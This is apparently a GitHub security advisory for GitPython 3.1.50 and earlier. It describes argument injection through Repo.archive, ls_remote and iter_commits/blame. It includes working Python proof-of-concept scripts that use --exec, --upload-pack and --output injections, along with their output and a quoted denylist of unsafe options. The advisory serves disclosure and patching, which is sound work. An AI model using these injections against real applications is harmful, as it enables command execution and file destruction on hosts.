GHSA-956X-8GVW-WG5V
Vulnerability from github – Published: 2026-07-21 20:10 – Updated: 2026-07-21 20:10Summary
GitPython spawns the real git binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (--upload-pack, --receive-pack, --exec, -c, --config, …) that can be abused to run arbitrary commands, and enforces them with Git.check_unsafe_options().
That enforcement is only wired into the network commands — clone_from, Remote.fetch, Remote.pull, Remote.push. Several other public APIs that also forward caller-controlled values into the git argv have no guard at all:
-
Repo.archive(ostream, treeish=None, prefix=None, **kwargs)forwards**kwargsverbatim intogit archive. An attacker-influenced options mapping such as{"remote": ".", "exec": "<cmd>"}becomesgit archive --remote=. --exec=<cmd> -- <treeish>, andgit archive --remote=<local repo>invokesgit-upload-archivewhose path is overridden by--exec→ arbitrary command execution under default Git configuration (noprotocol.ext.allowneeded). -
repo.git.ls_remote(<url>, upload_pack="<cmd>")(and the dynamic-command builder generally) turns theupload_packkwarg into--upload-pack=<cmd>with no guard → arbitrary command execution. -
Repo.iter_commits(rev)andRepo.blame(rev, file)place the caller'srevvalue into the argv before the--end-of-options separator and apply no leading-dash check. A benign-looking ref value such as--output=/path/to/fileis parsed bygit rev-list/git blameas the--outputoption, which opens and truncates an arbitrary file before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).
The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the check_unsafe_options / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.
Details
GitPython explicitly recognises these options as command-execution vectors. git/remote.py:535:
unsafe_git_fetch_options = [
# Arbitrary command execution.
"--upload-pack",
"--receive-pack",
# Arbitrary file overwrite.
"--exec",
]
and enforces them via Git.check_unsafe_options() (git/cmd.py:963):
def check_unsafe_options(cls, options, unsafe_options):
...
if unsafe_option is not None:
raise UnsafeOptionError(f"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.")
But check_unsafe_options is invoked from only five sites, all network commands:
git/remote.py:1071 Remote.fetch
git/remote.py:1125 Remote.pull
git/remote.py:1198 Remote.push
git/repo/base.py:1410 / :1412 Repo.clone_from
The following sinks call git with caller-controlled options/positionals and are not guarded:
1. Repo.archive — command execution (git/repo/base.py:1623)
def archive(self, ostream, treeish=None, prefix=None, **kwargs):
...
self.git.archive("--", treeish, *path, **kwargs)
return self
treeish and path are correctly placed after --, but **kwargs are converted by Git.transform_kwarg (git/cmd.py:1487) into --<name>=<value> flags and inserted before the -- by _call_process, with no check_unsafe_options. Repo.archive already documents user-facing kwargs (format, prefix, path), so forwarding a caller options mapping is an expected usage. Final argv:
git archive --remote=. --exec=<cmd> -- <treeish>
git archive --remote=<repo> runs the upload-archive helper; --exec=<cmd> overrides the helper path, executing <cmd> on the host. This works with default Git config — it does not rely on the ext:: transport (which is blocked by default).
2. repo.git.ls_remote(..., upload_pack=...) — command execution (dynamic builder, git/cmd.py:1487)
transform_kwarg dashifies upload_pack → --upload-pack=<value>. git ls-remote <local-repo> --upload-pack=<cmd> executes <cmd>. The dynamic builder makes both the flag name and value caller-controlled (repo.git.<anything>(**user_dict)), and ls_remote has no check_unsafe_options.
This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for fetch/pull/push/clone_from — but ls_remote and the rest of the dynamic surface were left unpatched.
3. Repo.iter_commits / Repo.blame — arbitrary file overwrite (git/objects/commit.py:348, git/repo/base.py:1199)
# Commit.iter_items (reached via Repo.iter_commits)
proc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs) # args_list == ["--", *paths]
# Repo.blame
data = self.git.blame(rev, *rev_opts, "--", file, p=True, stdout_as_string=False, **kwargs)
rev is placed before --, with no leading-dash check anywhere in the path. A caller passing rev="--output=/path" (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:
git rev-list --output=/path --
git rev-list/log/blame honour --output=<file>, which open()s and truncates the file before validating the revision — so the file is destroyed even though Git then errors out on the bad revision.
PoC
All three PoCs are self-contained, run against the released GitPython 3.1.50 under default Git configuration, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.
Install
python3 -m venv venv && . venv/bin/activate
pip install GitPython # resolves to 3.1.50
python -c "import git; print(git.__version__)" # 3.1.50
PoC 1 — command execution via Repo.archive
# archive_rce.py
import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')
if os.path.exists(marker): os.remove(marker)
# a service lets a user export a repo and forwards their options dict
opts = {'remote': '.', 'exec': 'touch ' + marker}
try:
repo.archive(io.BytesIO(), **opts)
except git.exc.GitCommandError as e:
print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])
print('[+] marker present:', os.path.exists(marker))
Verbatim output:
[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)
[+] marker present: True
git config --get protocol.ext.allow returns nothing (unset = default), confirming no special config is required.
PoC 2 — command execution via git.ls_remote(upload_pack=...)
# lsremote_rce.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')
if os.path.exists(marker): os.remove(marker)
try:
repo.git.ls_remote('.', upload_pack='touch '+marker+';')
except git.exc.GitCommandError as e:
print('[*] git err:', str(e).splitlines()[0][:50])
print('[+] ls-remote marker present:', os.path.exists(marker))
Verbatim output:
[*] git err: Cmd('git') failed due to: exit code(128)
[+] ls-remote marker present: True
PoC 3 — arbitrary file overwrite via a benign-looking rev
# itercommits_filewrite.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
victim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')
open(victim,'w').write('do not delete\n')
print('[*] before:', repr(open(victim).read()))
user_ref = '--output=' + victim # value an app forwards as a "ref/branch"
try:
list(repo.iter_commits(user_ref))
except git.exc.GitCommandError as e:
print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])
print('[+] after :', repr(open(victim).read()), '<- truncated')
Verbatim output:
[*] before: 'do not delete\n'
[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.50"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.51"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:10:06Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nGitPython spawns the real `git` binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of \"unsafe\" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`, `--config`, \u2026) that can be abused to run arbitrary commands, and enforces them with `Git.check_unsafe_options()`.\n\nThat enforcement is only wired into the **network** commands \u2014 `clone_from`, `Remote.fetch`, `Remote.pull`, `Remote.push`. Several other public APIs that also forward caller-controlled values into the `git` argv have **no guard at all**:\n\n1. **`Repo.archive(ostream, treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into `git archive`. An attacker-influenced options mapping such as `{\"remote\": \".\", \"exec\": \"\u003ccmd\u003e\"}` becomes `git archive --remote=. --exec=\u003ccmd\u003e -- \u003ctreeish\u003e`, and `git archive --remote=\u003clocal repo\u003e` invokes `git-upload-archive` whose path is overridden by `--exec` \u2192 **arbitrary command execution under default Git configuration** (no `protocol.ext.allow` needed).\n\n2. **`repo.git.ls_remote(\u003curl\u003e, upload_pack=\"\u003ccmd\u003e\")`** (and the dynamic-command builder generally) turns the `upload_pack` kwarg into `--upload-pack=\u003ccmd\u003e` with no guard \u2192 **arbitrary command execution**.\n\n3. **`Repo.iter_commits(rev)`** and **`Repo.blame(rev, file)`** place the caller\u0027s `rev` value into the argv *before* the `--` end-of-options separator and apply no leading-dash check. A benign-looking ref value such as `--output=/path/to/file` is parsed by `git rev-list` / `git blame` as the `--output` option, which **opens and truncates an arbitrary file** before Git even validates the revision \u2192 arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).\n\nThe first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the `check_unsafe_options` / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.\n\n## Details\n\nGitPython explicitly recognises these options as command-execution vectors. `git/remote.py:535`:\n\n```python\nunsafe_git_fetch_options = [\n # Arbitrary command execution.\n \"--upload-pack\",\n \"--receive-pack\",\n # Arbitrary file overwrite.\n \"--exec\",\n]\n```\n\nand enforces them via `Git.check_unsafe_options()` (`git/cmd.py:963`):\n\n```python\ndef check_unsafe_options(cls, options, unsafe_options):\n ...\n if unsafe_option is not None:\n raise UnsafeOptionError(f\"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.\")\n```\n\nBut `check_unsafe_options` is invoked from **only five sites**, all network commands:\n\n```\ngit/remote.py:1071 Remote.fetch\ngit/remote.py:1125 Remote.pull\ngit/remote.py:1198 Remote.push\ngit/repo/base.py:1410 / :1412 Repo.clone_from\n```\n\nThe following sinks call `git` with caller-controlled options/positionals and are **not** guarded:\n\n### 1. `Repo.archive` \u2014 command execution (`git/repo/base.py:1623`)\n\n```python\ndef archive(self, ostream, treeish=None, prefix=None, **kwargs):\n ...\n self.git.archive(\"--\", treeish, *path, **kwargs)\n return self\n```\n\n`treeish` and `path` are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg` (`git/cmd.py:1487`) into `--\u003cname\u003e=\u003cvalue\u003e` flags and inserted **before** the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive` already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding a caller options mapping is an expected usage. Final argv:\n\n```\ngit archive --remote=. --exec=\u003ccmd\u003e -- \u003ctreeish\u003e\n```\n\n`git archive --remote=\u003crepo\u003e` runs the upload-archive helper; `--exec=\u003ccmd\u003e` overrides the helper path, executing `\u003ccmd\u003e` on the host. This works with **default Git config** \u2014 it does not rely on the `ext::` transport (which is blocked by default).\n\n### 2. `repo.git.ls_remote(..., upload_pack=...)` \u2014 command execution (dynamic builder, `git/cmd.py:1487`)\n\n`transform_kwarg` dashifies `upload_pack` \u2192 `--upload-pack=\u003cvalue\u003e`. `git ls-remote \u003clocal-repo\u003e --upload-pack=\u003ccmd\u003e` executes `\u003ccmd\u003e`. The dynamic builder makes **both** the flag name and value caller-controlled (`repo.git.\u003canything\u003e(**user_dict)`), and `ls_remote` has no `check_unsafe_options`.\n\nThis is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` \u2014 but `ls_remote` and the rest of the dynamic surface were left unpatched.\n\n### 3. `Repo.iter_commits` / `Repo.blame` \u2014 arbitrary file overwrite (`git/objects/commit.py:348`, `git/repo/base.py:1199`)\n\n```python\n# Commit.iter_items (reached via Repo.iter_commits)\nproc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs) # args_list == [\"--\", *paths]\n```\n\n```python\n# Repo.blame\ndata = self.git.blame(rev, *rev_opts, \"--\", file, p=True, stdout_as_string=False, **kwargs)\n```\n\n`rev` is placed **before** `--`, with no leading-dash check anywhere in the path. A caller passing `rev=\"--output=/path\"` (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:\n\n```\ngit rev-list --output=/path --\n```\n\n`git rev-list`/`log`/`blame` honour `--output=\u003cfile\u003e`, which `open()`s and truncates the file *before* validating the revision \u2014 so the file is destroyed even though Git then errors out on the bad revision.\n\n## PoC\n\nAll three PoCs are self-contained, run against the released **GitPython 3.1.50** under **default Git configuration**, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.\n\n### Install\n\n```bash\npython3 -m venv venv \u0026\u0026 . venv/bin/activate\npip install GitPython # resolves to 3.1.50\npython -c \"import git; print(git.__version__)\" # 3.1.50\n```\n\n### PoC 1 \u2014 command execution via `Repo.archive`\n\n```python\n# archive_rce.py\nimport io, os, tempfile, subprocess, git\n\nd = tempfile.mkdtemp()\nsubprocess.run([\u0027git\u0027,\u0027init\u0027,\u0027-q\u0027,d], check=True)\nsubprocess.run([\u0027git\u0027,\u0027-C\u0027,d,\u0027-c\u0027,\u0027user.email=a@b.c\u0027,\u0027-c\u0027,\u0027user.name=a\u0027,\n \u0027commit\u0027,\u0027-q\u0027,\u0027--allow-empty\u0027,\u0027-m\u0027,\u0027init\u0027], check=True)\nrepo = git.Repo(d)\n\nmarker = os.path.join(tempfile.gettempdir(), \u0027gp_rce_marker\u0027)\nif os.path.exists(marker): os.remove(marker)\n\n# a service lets a user export a repo and forwards their options dict\nopts = {\u0027remote\u0027: \u0027.\u0027, \u0027exec\u0027: \u0027touch \u0027 + marker}\ntry:\n repo.archive(io.BytesIO(), **opts)\nexcept git.exc.GitCommandError as e:\n print(\u0027[*] git exited non-zero (expected), but the exec already ran:\u0027, str(e).splitlines()[0][:60])\n\nprint(\u0027[+] marker present:\u0027, os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git exited non-zero (expected), but the exec already ran: Cmd(\u0027git\u0027) failed due to: exit code(128)\n[+] marker present: True\n```\n\n`git config --get protocol.ext.allow` returns nothing (unset = default), confirming no special config is required.\n\n### PoC 2 \u2014 command execution via `git.ls_remote(upload_pack=...)`\n\n```python\n# lsremote_rce.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run([\u0027git\u0027,\u0027init\u0027,\u0027-q\u0027,d], check=True)\nsubprocess.run([\u0027git\u0027,\u0027-C\u0027,d,\u0027-c\u0027,\u0027user.email=a@b.c\u0027,\u0027-c\u0027,\u0027user.name=a\u0027,\u0027commit\u0027,\u0027-q\u0027,\u0027--allow-empty\u0027,\u0027-m\u0027,\u0027init\u0027], check=True)\nrepo = git.Repo(d)\nmarker = os.path.join(tempfile.gettempdir(),\u0027gp_lsr_marker\u0027)\nif os.path.exists(marker): os.remove(marker)\ntry:\n repo.git.ls_remote(\u0027.\u0027, upload_pack=\u0027touch \u0027+marker+\u0027;\u0027)\nexcept git.exc.GitCommandError as e:\n print(\u0027[*] git err:\u0027, str(e).splitlines()[0][:50])\nprint(\u0027[+] ls-remote marker present:\u0027, os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git err: Cmd(\u0027git\u0027) failed due to: exit code(128)\n[+] ls-remote marker present: True\n```\n\n### PoC 3 \u2014 arbitrary file overwrite via a benign-looking `rev`\n\n```python\n# itercommits_filewrite.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run([\u0027git\u0027,\u0027init\u0027,\u0027-q\u0027,d], check=True)\nsubprocess.run([\u0027git\u0027,\u0027-C\u0027,d,\u0027-c\u0027,\u0027user.email=a@b.c\u0027,\u0027-c\u0027,\u0027user.name=a\u0027,\u0027commit\u0027,\u0027-q\u0027,\u0027--allow-empty\u0027,\u0027-m\u0027,\u0027init\u0027], check=True)\nrepo = git.Repo(d)\nvictim = os.path.join(tempfile.gettempdir(),\u0027gp_fw_victim\u0027)\nopen(victim,\u0027w\u0027).write(\u0027do not delete\\n\u0027)\nprint(\u0027[*] before:\u0027, repr(open(victim).read()))\nuser_ref = \u0027--output=\u0027 + victim # value an app forwards as a \"ref/branch\"\ntry:\n list(repo.iter_commits(user_ref))\nexcept git.exc.GitCommandError as e:\n print(\u0027[*] git err (after open+truncate):\u0027, str(e).splitlines()[0][:50])\nprint(\u0027[+] after :\u0027, repr(open(victim).read()), \u0027\u003c- truncated\u0027)\n```\n\nVerbatim output:\n\n```\n[*] before: \u0027do not delete\\n\u0027\n[*] git err (after open+truncate): Cmd(\u0027git\u0027) failed due to: exit code(129)\n[+] after : \u0027\u0027 \u003c- truncated\n```",
"id": "GHSA-956x-8gvw-wg5v",
"modified": "2026-07-21T20:10:06Z",
"published": "2026-07-21T20:10:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2163"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.